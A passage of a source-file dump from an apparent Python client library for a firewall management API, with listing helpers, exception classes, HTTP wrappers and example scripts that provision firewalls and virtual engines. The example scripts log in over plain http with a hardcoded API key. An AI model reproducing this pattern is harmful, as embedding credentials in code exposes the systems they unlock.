:py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('rpc_service', name, exact_match)\n\ndef describe_icmp_ipv6_services(name=None, exact_match=True):\n \"\"\"\n Describe ICMP ipv6 service elements\n See :py:class:`smc.elements.element.ICMPIPv6Service` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('icmp_ipv6_service', name, exact_match)\n\ndef describe_icmp_service_groups(name=None, exact_match=True):\n \"\"\"\n Describe ICMP Service Groups\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('icmp_service_group', name, exact_match)\n\ndef describe_ip_services(name=None, exact_match=True):\n \"\"\"\n Describe IP Service network elements\n See :py:class:`smc.elements.element.IPService` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('ip_service', name, exact_match)\n\ndef describe_protocols(name=None, exact_match=True):\n \"\"\"\n Describe Protocol network elements\n See :py:class:`smc.elements.element.Protocol` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('protocol', name, exact_match)\n\ndef describe_routers(name=None, exact_match=True):\n \"\"\"\n Describe Router network elements\n See :py:class:`smc.elements.element.Router` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('router', name, exact_match)\n\ndef describe_groups(name=None, exact_match=True):\n \"\"\"\n Describe Group network elements\n See :py:class:`smc.elements.element.Group` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('group', name, exact_match)\n\ndef describe_ethernet_services(name=None, exact_match=True):\n \"\"\"\n Describe Ethernet Service network elements\n See :py:class:`smc.elements.element.EthernetService` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('ethernet_service', name, exact_match)\n\ndef describe_udp_services(name=None, exact_match=True):\n \"\"\"\n Describe UDP Service network elements\n See :py:class:`smc.elements.element.UDPService` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('udp_service', name, exact_match)\n\ndef describe_networks(name=None, exact_match=True):\n \"\"\"\n Describe Networks network elements\n See :py:class:`smc.elements.element.Network` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('network', name, exact_match)\n\ndef describe_ip_service_groups(name=None, exact_match=True):\n \"\"\"\n Describe IP Service Groups\n See :py:class:`smc.elements.element.IPServiceGroup` for more info\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('ip_service_group', name, exact_match)\n\ndef describe_ethernet_service_groups(name=None, exact_match=True):\n \"\"\"\n Describe Ethernet Service Groups\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('ethernet_service_group', name, exact_match)\n\n\"\"\"\nVPN Elements\n\"\"\"\ndef describe_vpn_policies(name=None, exact_match=True):\n \"\"\"\n Show all VPN policies configured\n \n Find a specific VPN policy, load and check specific setting::\n \n for x in collections.describe_vpn_policies():\n if x.name == 'myVPN':\n policy = x.load()\n policy.open()\n print policy.central_gateway_node()\n policy.close()\n\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('vpn', name, exact_match, klazz=VPNPolicy)\n\ndef describe_vpn_profiles(name=None, exact_match=True):\n \"\"\"\n Show all VPN Profiles\n VPN Profiles are used by VPN Policy and define phase 1\n and phase 2 properties for VPN configurations\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('vpn_profile', name, exact_match)\n\ndef describe_external_gateways(name=None, exact_match=True):\n \"\"\" \n Show External Gateways. External gateways are non-SMC\n managed endpoints used as a VPN peer\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('external_gateway', name, exact_match, \n klazz=ExternalGateway)\n\ndef describe_gateway_settings(name=None, exact_match=True):\n \"\"\"\n Show Gateway Setting profiles \n Gateway settings are applied at the engine level and\n define available crypto settings. Generally these settings\n do not need to be changed\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('gateway_settings', name, exact_match)\n\ndef describe_client_gateways(name=None, exact_match=True):\n \"\"\"\n Client Gateway profile\n These are global configurations for the VPN Client which could be \n used in VPN Policy\n \n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n return generic_list_builder('client_gateway', name, exact_match)\n \ndef generic_list_builder(typeof, name=None, exact_match=True, klazz=None):\n \"\"\"\n Build the query to SMC based on parameters\n \n :param list name: Name of host object (optional)\n :param exact_match: Do exact match against name field (default True)\n :return: list :py:class:`smc.elements.collections.Element`\n \"\"\"\n if not klazz:\n klazz = SMCElement\n result=[]\n if not name:\n lst = fetch_json_by_href(\n session.cache.get_entry_href(typeof)).json\n if lst:\n for item in lst:\n result.append(klazz(**item))\n else: #Filter provided\n for element in name:\n for item in fetch_href_by_name(element, \n filter_context=typeof, \n exact_match=exact_match).json:\n result.append(klazz(**item))\n return result" }, { "alpha_fraction": 0.6353461742401123, "alphanum_fraction": 0.6356064677238464, "avg_line_length": 29.743999481201172, "blob_id": "078a8be7b0abc272b7d4c2f28436dbb1f04e9d0e", "content_id": "36005e57f8f00c69ab042e74a9601957ea61176a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3842, "license_type": "no_license", "max_line_length": 77, "num_lines": 125, "path": "/smc/api/exceptions.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "'''\nExceptions Module\n'''\nimport json\nimport smc.api.web\n\nclass SMCException(Exception):\n \"\"\" Base class for exceptions \"\"\"\n pass\n\nclass SMCConnectionError(SMCException):\n \"\"\"\n Thrown when there are connection related issues with the SMC.\n This could be that the underlying http requests library could not connect\n due to wrong IP address, wrong port, or time out\n \"\"\"\n pass\n\nclass ConfigLoadError(SMCException):\n \"\"\"\n Thrown when there was a problem reading credential information from \n file. Typically caused by missing settings.\n \"\"\"\n pass\n \nclass SMCOperationFailure(SMCException):\n \"\"\" Exception class for storing results from calls to the SMC\n This is thrown for HTTP methods that do not return the expected HTTP\n status code. See each http_* method in :py:mod:`smc.api.web` for \n expected success status\n \n :param response: response object returned from HTTP method\n :param msg: optional msg to insert\n \n Instance attributes:\n \n :ivar response: http request response object\n :ivar code: http status code\n :ivar status: status from SMC API\n :ivar message: message attribute from SMC API\n :ivar details: details list from SMC API (may not always exist)\n :ivar smcresult: SMCResult object for consistent returns\n \"\"\"\n def __init__(self, response=None, msg=None):\n self.response = response\n self.code = None\n self.status = None\n self.details = None\n self.message = None\n self.smcresult = smc.api.web.SMCResult(msg=msg)\n if response is not None:\n self.parse_error()\n \n def parse_error(self):\n self.code = self.response.status_code\n if self.response.headers.get('content-type') == 'application/json':\n data = json.loads(self.response.text)\n self.status = data.get('status', None)\n self.message = data.get('message', None)\n details = data.get('details', None)\n if isinstance(details, list):\n self.details = ' '.join(details)\n else:\n self.details = details\n else: #it's not json\n if self.response.text:\n self.message = self.response.text\n else:\n self.message = \"HTTP error code: %s, no message\" % self.code\n \n self.smcresult.msg = self.__str__()\n self.smcresult.code = self.code\n \n def __str__(self):\n if self.message and self.details:\n return \"%s %s\" % (self.message, ''.join(self.details))\n elif self.details:\n return ''.join(self.details)\n else:\n return self.message\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, self.__dict__)\n\nclass CreateEngineFailed(SMCException):\n \"\"\" \n Thrown when a POST operation returns with a failed response.\n API based response will be returned as the exception message\n \"\"\"\n pass\n\nclass LoadEngineFailed(SMCException):\n \"\"\" Thrown when attempting to load an engine that does not\n exist\n \"\"\"\n pass\n\nclass CreatePolicyFailed(SMCException):\n \"\"\"\n Thrown when failures occur when creating specific\n poliies like Firewall Policy, IPS, VPN, etc.\n \"\"\"\n pass\n\nclass LoadPolicyFailed(SMCException):\n \"\"\"\n Failure when trying to load a specific policy type\n \"\"\"\n pass\n\nclass CreateElementFailed(SMCException):\n \"\"\"\n Generic exception when there was a failure calling a \n create method\n \"\"\"\n pass\n\nclass UnsupportedEngineFeature(SMCException):\n \"\"\"\n If an operation is performed on an engine that does not support\n the functionality, this is thrown. For example, only Master Engine\n has virtual resources. IPS and Layer 2 Firewall do not have internal\n gateways (used for VPN).\n \"\"\"\n pass" }, { "alpha_fraction": 0.563690721988678, "alphanum_fraction": 0.5866641998291016, "avg_line_length": 42.185482025146484, "blob_id": "5c11f21957c30231bf5c588f4762bcdcc4c4f2dc", "content_id": "b01ccf69c20c40971e21caa84a424dc1da3890d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5354, "license_type": "no_license", "max_line_length": 109, "num_lines": 124, "path": "/smc/examples/batch_l3_virtual_engines.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nExample script using smc-python to batch create and configure Layer 3 Virtual Engines.\n\nThe prerequisites for running this script is:\n- Master Engine instance is created within SMC\n- 4 interfaces are created, with the Management interface set to Interface 0.\n- Interface 1,2 and 3 are created, but no configuration is provided (no IP addresses, no VLANs).\n\nThis script will read in a CSV file and create the Virtual Resources, VLANs on the Master Engine\ninterfaces, Virtual Firewalls, and Virtual Firewall interfaces will be configured along with zones.\n\nThe CSV format is expected to be:\n\n Interface VLAN NAME ADDRESS MASK CIDR\n 1 100 MY_NETWORK_EXTERNAL1 12.12.12.12 255.255.255.252 30\n 2 101 MY_NETWORK_DMZ1 1.1.1.1 255.255.255.252 30\n 3 102 MY_NETWORK_INTERNAL1 10.10.10.10 255.255.255.252 30\n\n#Interface 1: Zone: 'External'\n#Interface 2: Zone: 'DMZ'\n#Interface 3: Zone: 'Internal'\n\nIn the above example, the last digit in the name field is used in the name the virtual engine ('ve-1') \nand assumes that all names with same digit/s are interface of the same virtual engine.\n\"\"\"\nimport re\nimport csv\nfrom collections import OrderedDict\nfrom smc.api.session import session\nimport smc.actions.search\nimport smc.elements.element\nfrom smc.elements.interfaces import PhysicalInterface\nfrom smc.elements.engines import Layer3VirtualEngine, Engine\n\nimport logging\nfrom smc.api.exceptions import SMCException\nlogging.getLogger()\n#logging.basicConfig(level=logging.DEBUG)\n\nmaster_engine_name = 'master-eng2'\ncsv_filename = '/Users/davidlepage/info2.csv'\nvirtual_intf_offset = 1 #Virtual interface offset based on used MasterEngine interfaces\n#Master engine physical interface to zone map\nzone_map = {1: 'Web', \n 2: 'App', \n 3: 'Dev'}\n#Specify global DNS servers for virtual engines \ndns=['8.8.8.8','8.8.8.9']\n\nif __name__ == '__main__':\n\n session.login(url='http://172.18.1.150:8082', apikey='EiGpKD4QxlLJ25dbBEp20001')\n\n #Get zone references\n for idx, zone in zone_map.iteritems():\n result = smc.actions.search.element_href_use_filter(zone, 'interface_zone')\n if result:\n zone_map[idx] = result\n else:\n zone_map[idx] = \\\n smc.elements.element.Zone(zone).create().href\n \n #Load Master Engine\n engine = Engine(master_engine_name).load()\n \n engine_info = OrderedDict()\n \n with open(csv_filename, 'rU') as csvfile:\n \n reader = csv.DictReader(csvfile, dialect=\"excel\", \n fieldnames=['interface_id', 'vlan_id', 'name',\n 'address', 'network_value', 'cidr', 'default_gw'])\n previous_engine = 0\n for row in reader:\n\n current_engine = next(re.finditer(r'\\d+$', row.get('name'))).group(0)\n\n if current_engine != previous_engine:\n previous_engine = current_engine\n virtual_engine_name = 've-'+str(current_engine)\n print \"Creating VLANs and Virtual Resources for VE: {}\".format(virtual_engine_name) \n \n #Create virtual resource on the Master Engine\n print engine.virtual_resource_add(virtual_engine_name, vfw_id=current_engine,\n show_master_nic=False)\n \n engine_info[virtual_engine_name] = []\n \n physical_interface_id = int(row.get('interface_id')) \n virtual_interface_id = physical_interface_id-virtual_intf_offset\n \n #Virtual Engine interface information\n engine_info[virtual_engine_name].append({'interface_id': virtual_interface_id,\n 'address': row.get('address'),\n 'network_value': row.get('address')+'/'+row.get('cidr'),\n 'zone_ref': zone_map.get(physical_interface_id)}) \n\n physical = PhysicalInterface(physical_interface_id)\n physical.add_vlan_to_node_interface(row.get('vlan_id'), \n virtual_mapping=virtual_interface_id, \n virtual_resource_name=virtual_engine_name)\n\n result = engine.add_physical_interfaces(physical.data)\n \n if result.href:\n print \"Successfully created VLAN {}\".format(row.get('vlan_id'))\n else:\n print \"Failed creating VLAN {}, reason: {}\".format(row.get('vlan_id'), result.msg)\n \n \n for name, interfaces in engine_info.iteritems():\n try:\n result = Layer3VirtualEngine.create(name, master_engine_name, name, default_nat=False, \n interfaces=interfaces, dns=dns) \n print \"Success creating virtual engine: %s\" % name\n \n except SMCException, reason:\n print \"Failed creating virtual engine: {}, reason: {}\".format(name, reason)\n \n print \"Refreshing policy on Master Engine...\"\n for msg in engine.refresh():\n print msg\n \n session.logout()" }, { "alpha_fraction": 0.6032285690307617, "alphanum_fraction": 0.6652506589889526, "avg_line_length": 46.099998474121094, "blob_id": "64982bd03420e18e4b9a5f1dae563fd8bfc77a9a", "content_id": "5863434ba5d7481fcdb13ed0dfa7e47cbd179496", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2354, "license_type": "no_license", "max_line_length": 94, "num_lines": 50, "path": "/smc/examples/single_fw_multiple_interfaces.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nExample of creating a single firewall with multiple interface types.\nOnce interfaces are defined, add routes that are needed. Note that to add a default route,\nuse the 0.0.0.0/0 address as the gateway address.\nSpecify a policy to upload once the single FW instance has made the initial contact. This will\nbe queued and kick off once the contact is complete.\nGenerate the initial contact information for sg-reconfigure on the virtual or appliance.\n\"\"\"\nfrom smc.api.session import session\nfrom smc.elements.engines import Layer3Firewall\nfrom smc.elements.interfaces import PhysicalInterface\n\nif __name__ == '__main__':\n session.login(url='http://172.18.1.150:8082', api_key='EiGpKD4QxlLJ25dbBEp20001')\n \n #Create base engine specifying management IP info and management interface number\n engine = Layer3Firewall.create('myfirewall',\n mgmt_ip='172.18.1.160',\n mgmt_network='172.18.1.0/24',\n mgmt_interface=0,\n domain_server_address=['8.8.8.8'])\n \n if engine:\n print \"Successfully created Layer 3 firewall, adding interfaces..\"\n \n #Create a new physical interface for single firewall\n physical = PhysicalInterface(1)\n physical.add_single_node_interface('1.1.1.1', '1.1.1.0/24')\n engine.add_physical_interfaces(physical.data)\n \n #Create a second interface using VLANs and assign IP info\n physical = PhysicalInterface(2)\n physical.add_single_node_interface_to_vlan('2.2.2.2', '2.2.2.0/24', 2)\n physical.add_single_node_interface_to_vlan('3.3.3.3', '3.3.3.0/24', 3)\n physical.add_single_node_interface_to_vlan('4.4.4.4', '4.4.4.0/24', 4)\n physical.add_single_node_interface_to_vlan('5.5.5.5', '5.5.5.0/24', 5)\n engine.add_physical_interfaces(physical.data)\n \n #Add route information, mapping to interface is automatic\n engine.add_route('172.18.1.1', '192.168.1.0/24')\n engine.add_route('2.2.2.1', '192.168.2.0/24')\n engine.add_route('172.18.1.254', '0.0.0.0/0') #default gateway\n \n #Fire off a task to queue a policy upload once device is initialized\n engine.upload(policy='Layer 3 Router Policy')\n \n #Get initial contact information for sg-reconfigure\n print engine.initial_contact('myfirewall', enable_ssh=True)\n \n session.logout()" }, { "alpha_fraction": 0.5491918325424194, "alphanum_fraction": 0.5494260787963867, "avg_line_length": 31.09774398803711, "blob_id": "f6231fcf96bf25b957961d4b460367d4ecc39b14", "content_id": "6e47e6a054ab705a8e3b0c006d10761f41fd8d70", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8538, "license_type": "no_license", "max_line_length": 110, "num_lines": 266, "path": "/smc/api/common.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nProxy helper module to wrap CRUD operations and catch exceptions\n\nAlthough the native http_get, http_post, etc can be called, this provides a \nmore common interface to the responses received\n\"\"\"\n\nimport re\nimport logging\nfrom smc.api.session import session\nfrom smc.api.exceptions import SMCOperationFailure, SMCConnectionError\nimport smc.actions.search\n\nclean_html = re.compile(r'<.*?>')\n\nlogger = logging.getLogger(__name__)\n\ndef create(element):\n \"\"\" \n Create element on SMC\n \n :method: POST\n Element must have the following attributes:\n \n :param href: href of resource location\n :param json: json of profile to upload\n :param params: optional uri params\n :return: SMCResult\n \"\"\"\n if element:\n err = None\n try:\n result = session.connection.http_post(element.href,\n element.json, \n element.params)\n except SMCOperationFailure, e:\n result = e.smcresult\n except SMCConnectionError, e:\n err = e\n except TypeError, e:\n err = e\n finally:\n if err:\n raise\n logger.debug(result)\n return result\n\ndef update(element):\n \"\"\" \n Update element on SMC\n \n :method: PUT\n Element must have the following attributes:\n \n :param href: href of location of resource\n :param json: modified json data to update\n :param etag: etag for resource\n :param params: additional URI parameters, optional\n :return: SMCResult\n \"\"\"\n if element:\n err = None\n try: \n result = session.connection.http_put(element.href,\n element.json, \n element.etag, \n element.params)\n except SMCOperationFailure, e:\n result = e.smcresult\n except SMCConnectionError, e:\n err = e\n except TypeError, e:\n err = e\n finally:\n if err:\n raise\n logger.debug(result)\n return result\n\ndef delete(href):\n \"\"\"\n Delete element on SMC\n \n :method: DELETE\n :param href: item reference to delete\n :return: SMCResult\n \"\"\"\n if href:\n connect_err = None\n try:\n result = session.connection.http_delete(href)\n except SMCOperationFailure, e:\n result = e.smcresult\n except SMCConnectionError, e:\n connect_err = e\n finally:\n if connect_err:\n raise\n logger.debug(result)\n return result\n\ndef fetch_content_as_file(href, filename, stream=True):\n \"\"\" Used for fetching data from the SMC. \n Element must have the following attributes:\n \n :method: GET\n :param href: href location for task file download\n :param filename: name or path of file to save locally\n :return: SMCResult with content attr holding file location or msg on fail\n :raises: SMCException, IOError\n \"\"\"\n try:\n result = session.connection.http_get(href,\n filename=filename,\n stream=stream)\n except IOError, ioe:\n logger.error(\"IO Error received with msg: %s\" % ioe)\n else:\n return result\n\ndef fetch_entry_point(name):\n \"\"\" \n Get the entry point href based on the input name\n \n :method: GET\n :param name: valid element entry point, i.e. 'host', 'iprange', etc\n smc.api.web.get_all_entry_points caches the entry points after login\n :return: SMCResult\n \"\"\"\n try:\n entry_href = session.cache.get_entry_href(name) #from entry point cache\n if not entry_href:\n logger.error(\"Entry point specified was not found: %s\" % name)\n return None\n return entry_href\n \n except SMCOperationFailure, e:\n logger.error(\"Failure occurred fetching element: %s\" % e)\n except SMCConnectionError, e:\n raise\n\ndef fetch_href_by_name(name, \n filter_context=None, \n exact_match=True,\n domain=None):\n \"\"\"\n :method: GET\n :param name: element name\n :param filter_context: further filter request, i.e. 'host', 'group', 'single_fw'\n :param exact_match: Do an exact match by name, note this still can return multiple entries\n :param domain: specify domain in which to query\n :return: SMCResult\n \"\"\"\n if name:\n connect_err = None\n try:\n entry_href = session.cache.get_entry_href('elements')\n result = session.connection.http_get(entry_href, {'filter': name,\n 'filter_context':filter_context,\n 'exact_match': exact_match})\n if result.json:\n if len(result.json) > 1:\n result.msg = \"More than one search result found. Try using a filter based on element type\"\n else:\n result.href = result.json[0].get('href')\n else:\n result.msg = \"No results found for: %s\" % name \n \n except SMCOperationFailure, e:\n result = e.smcresult\n except SMCConnectionError, e:\n connect_err = e\n finally:\n if connect_err:\n raise\n logger.debug(result)\n return result\n\ndef fetch_json_by_name(name):\n \"\"\" \n Fetch json based on the element name\n First gets the href based on a search by name, then makes a \n second query to obtain the element json\n \n :method: GET\n :param name: element name\n :return: SMCResult\n \"\"\"\n if name:\n connect_err = None\n try:\n result = fetch_href_by_name(name)\n if result.href:\n result = fetch_json_by_href(result.href)\n #else element not found\n except SMCOperationFailure, e:\n result = e.smcresult\n except SMCConnectionError, e:\n connect_err = e\n finally:\n if connect_err:\n raise\n return result\n \ndef fetch_json_by_href(href):\n \"\"\" \n Fetch json for element by using href\n \n :method: GET\n :param href: href of the element\n :return: SMCResult\n \"\"\"\n if href:\n connect_err = None\n try:\n result = session.connection.http_get(href)\n if result:\n result.href = href\n except SMCOperationFailure, e:\n result = e.smcresult\n except SMCConnectionError, e:\n connect_err = e\n finally:\n if connect_err:\n raise\n logger.debug(result)\n return result\n\n\ndef async_handler(follower_href, wait_for_finish=True, \n display_msg=True):\n \"\"\" Handles asynchronous operations called on engine or node levels\n \n :method: POST\n :param follower_href: The follower href to monitor for this task\n :param wait_for_finish: whether to wait for it to finish or not\n :param display_msg: whether to return display messages or not\n :raises: SMCOperationFailure, if failure reported from SMC\n \n If wait_for_finish is False, the generator will yield the follower \n href only. If true, will return messages as they arrive and location \n to the result after complete.\n To obtain messages as they arrive, call the async method in a for loop::\n \n for msg in engine.export():\n print msg\n \"\"\"\n if wait_for_finish:\n last_msg = ''\n while True:\n status = smc.actions.search.element_by_href_as_json(follower_href)\n msg = status.get('last_message')\n if display_msg:\n if msg != last_msg:\n yield re.sub(clean_html,'', msg)\n last_msg = msg\n if status.get('success') == True:\n for link in status.get('link'):\n if link.get('rel') == 'result':\n yield link.get('href')\n break\n elif status.get('in_progress') == False and \\\n status.get('success') == False: #fails with SMC msg\n raise SMCOperationFailure(msg=status.get('last_message'))\n else:\n yield follower_href\n" }, { "alpha_fraction": 0.5180299878120422, "alphanum_fraction": 0.5235612988471985, "avg_line_length": 41.35135269165039, "blob_id": "d16c59058bc4997e09f4cc4218fac2e6663f35d5", "content_id": "b4271ca90e8a7d45b6a84aa7a562f66e6e0b352c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9401, "license_type": "no_license", "max_line_length": 107, "num_lines": 222, "path": "/smc/api/web.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nSession management for SMC client connections\nWhen a session is first set up using login(), this persists for the duration \nof the python run. Run logout() after to remove the session from the SMC server.\n\"\"\"\n\nimport os.path\nimport requests\nimport json\nimport logging\nfrom smc.api.exceptions import SMCOperationFailure, SMCConnectionError\n\nlogger = logging.getLogger(__name__)\n\ndef counted(f):\n def wrapped(*args, **kwargs):\n wrapped.calls += 1\n return f(*args, **kwargs)\n wrapped.calls = 0\n return wrapped\n\nclass SMCAPIConnection(object):\n def __init__(self, _session):\n self._session = _session #Session\n self.session = _session.session\n\n @counted\n def http_get(self, href, params=None, stream=False, filename=None):\n \"\"\"\n Get data object from SMC\n If response code is success, results are returned with etag\n :param href: fully qualified href for resource\n :param params: uri parameters\n :param stream: used for file download\n :type stream: boolean\n :param filename: name of file to save content to\n :return SMCResult object with json data and etag attrs\n :raise SMCOperationFailure if non-http 200 response received\n \"\"\"\n try:\n if self.session:\n if filename and stream == True: #TODO: this is a temp hack\n r = self.session.get(href, params=params, \n stream=True)\n if r.status_code == 200:\n logger.debug(\"Streaming to file... Content length: %s\", len(r.content))\n try:\n path = os.path.abspath(filename)\n logger.debug(\"Operation: %s, saving to file: %s\", href, path)\n with open(path, \"wb\") as handle:\n for data in r.iter_content():\n handle.write(data)\n except IOError:\n raise\n result = SMCResult(r)\n result.content = path\n return result\n r = self.session.get(href, params=params, timeout=15) \n if r.status_code == 200:\n logger.debug(\"HTTP get result: %s\", r.text)\n return SMCResult(r)\n elif r.status_code == 401:\n self._session.refresh() #session timed out\n return self.http_get(href)\n else:\n logger.error(\"HTTP get returned non-http 200 code [%s] \"\n \"for href: %s\", r.status_code, href)\n raise SMCOperationFailure(r)\n else:\n raise SMCConnectionError(\"No session found. Please login to continue\")\n\n except requests.exceptions.RequestException as e:\n raise SMCConnectionError(\"Connection problem to SMC, ensure the \"\n \"API service is running and host is correct: %s, \"\n \"exiting.\" % e)\n\n def http_post(self, href, data, params=None):\n \"\"\"\n Add object to SMC\n If response code is success, return href to new object location\n If not success, raise exception, caught in middle tier calling method\n \n :param href: entry point to add specific object type\n :param data: json document with object def\n :param uri (optional): not implemented\n :return SMCResult\n :raise SMCOperationFailure in case of non-http 201 return\n \"\"\"\n try:\n logger.debug('POST request with href: {}, params: {}, data:{}'.format(\\\n href, params, data))\n if self.session:\n r = self.session.post(href,\n data=json.dumps(data),\n headers={'content-type': 'application/json'},\n params=params\n )\n if r.status_code == 200 or r.status_code == 201:\n logger.debug(\"Success, returning link for new element: %s\", \\\n r.headers.get('location'))\n return SMCResult(r)\n elif r.status_code == 202:\n #in progress\n logger.debug(\"Asynchronous response received, monitor progress at link: %s\", r.content)\n return SMCResult(r)\n elif r.status_code == 401:\n self._session.refresh()\n return self.http_post(href, data)\n else:\n raise SMCOperationFailure(r)\n else:\n raise SMCConnectionError(\"No session found. Please login to continue\")\n \n except requests.exceptions.RequestException as e:\n raise SMCConnectionError(\"Connection problem to SMC, ensure the \"\n \"API service is running and host is \"\n \"correct: %s, exiting.\" % e)\n\n def http_put(self, href, data, etag, params=None):\n \"\"\"\n Change state of existing SMC object\n :param href: href of resource location\n :param data: json encoded document\n :param etag: required by SMC, retrieve first via http get\n :return SMCResult\n :raise SMCOperationFailure in case of non-http 200 return\n \"\"\"\n try:\n if self.session:\n r = self.session.put(href,\n data = json.dumps(data),\n params = params,\n headers={'content-type': 'application/json', 'Etag': etag}\n )\n if r.status_code == 200:\n logger.debug(\"Successful modification, headers returned: %s\", \\\n r.headers)\n return SMCResult(r)\n elif r.status_code == 401:\n self._session.refresh()\n return self.http_put(href, data, etag)\n else:\n raise SMCOperationFailure(r)\n else:\n raise SMCConnectionError(\"No session found. Please login to continue\")\n\n except requests.exceptions.RequestException as e:\n raise SMCConnectionError(\"Connection problem to SMC, ensure the \"\n \"API service is running and host is \"\n \"correct: %s, exiting.\" % e)\n\n def http_delete(self, href):\n \"\"\"\n Delete element by fully qualified href\n :param href: fully qualified reference to object in SMC\n :return SMCResult: All result SMCResult fields will be None\n :raise SMCOperationFailure for non-http 204 code, msg attribute will have error\n \"\"\"\n try:\n if self.session:\n r = self.session.delete(href)\n if r.status_code == 204:\n return SMCResult(r)\n elif r.status_code == 401:\n self._session.refresh()\n return self.http_delete(href)\n else:\n raise SMCOperationFailure(r)\n else:\n raise SMCConnectionError(\"No session found. Please login to continue\")\n\n except requests.exceptions.RequestException as e:\n raise SMCConnectionError(\"Connection problem to SMC, ensure the \"\n \"API service is running and host is \"\n \"correct: %s, exiting.\" % e)\n \nclass SMCResult(object):\n \"\"\"\n SMCResult will store the return data for operations performed against the\n SMC API. If the function returns an SMCResult, the following attributes are\n set.\n \n Instance attributes:\n \n :ivar etag: etag from HTTP GET, representing unique value from server\n :ivar href: href of location header if it exists\n :ivar content: content if return was application/octet\n :ivar msg: error message, if set\n :ivar json: element full json\n \"\"\"\n def __init__(self, respobj=None, msg=None):\n self.etag = None\n self.href = None\n self.content = None\n self.msg = msg\n self.code = None\n self.json = self.extract(respobj)\n\n def extract(self, response):\n if response:\n self.code = response.status_code\n self.href = response.headers.get('location')\n self.etag = response.headers.get('ETag')\n if response.headers.get('content-type') == 'application/json':\n result = json.loads(response.text)\n if result:\n if 'result' in result:\n self.json = result.get('result')\n else:\n self.json = result\n return self.json\n elif response.headers.get('content-type') == 'application/octet-stream':\n self.content = response.text\n\n def __str__(self):\n sb = []\n for key in self.__dict__:\n sb.append(\"{key}='{value}'\".format(key=key, value=self.__dict__[key]))\n return ', '.join(sb)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, self.__dict__)" }, { "alpha_fraction": 0.6301369667053223, "alphanum_fraction": 0.6301369667053223, "avg_line_length": 23.399999618530273, "blob_id": "c5166adcc2058bc6e84fd6c7a9bd38465f2478d5", "content_id": "c0843819ec40f7bdf7dc5b8aa0bcff2036fb1c63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 365, "license_type": "no_license", "max_line_length": 52, "num_lines": 15, "path": "/smc/elements/helpers.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\"\nHelpers functions\n\"\"\"\nimport smc.actions.search as search\n\ndef find_link_by_name(link_name, linklist):\n \"\"\" \n Find the href based on SMC API return rel\n \"\"\"\n for entry in linklist:\n if entry.get('rel') == link_name:\n return entry.get('href')\n \ndef get_element_etag(href):\n return search.element_by_href_as_smcresult(href)" }, { "alpha_fraction": 0.6770671010017395, "alphanum_fraction": 0.6770671010017395, "avg_line_length": 29.571428298950195, "blob_id": "d2b817fa9f6514beb8180be1ba72a2904a743481", "content_id": "05eaadbf3cc05abfdd37d3065607d9b5cf3302d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 641, "license_type": "no_license", "max_line_length": 99, "num_lines": 21, "path": "/smc/actions/remove.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "import logging\nimport smc.actions\nimport smc.api.common as common_api\n\nlogger = logging.getLogger(__name__)\n\ndef element(name, objtype=None):\n \"\"\" \n Remove element from the SMC by name. Optionally you can also specify an object\n filter\n :param name: name for object to remove\n :param objtype (optional): filter to add to search for element, i.e. host,network,single_fw,etc\n :return None \n \"\"\"\n \n removable = smc.actions.search.element_info_as_json(name)\n if removable:\n return common_api.delete(removable.get('href'))\n \n else:\n 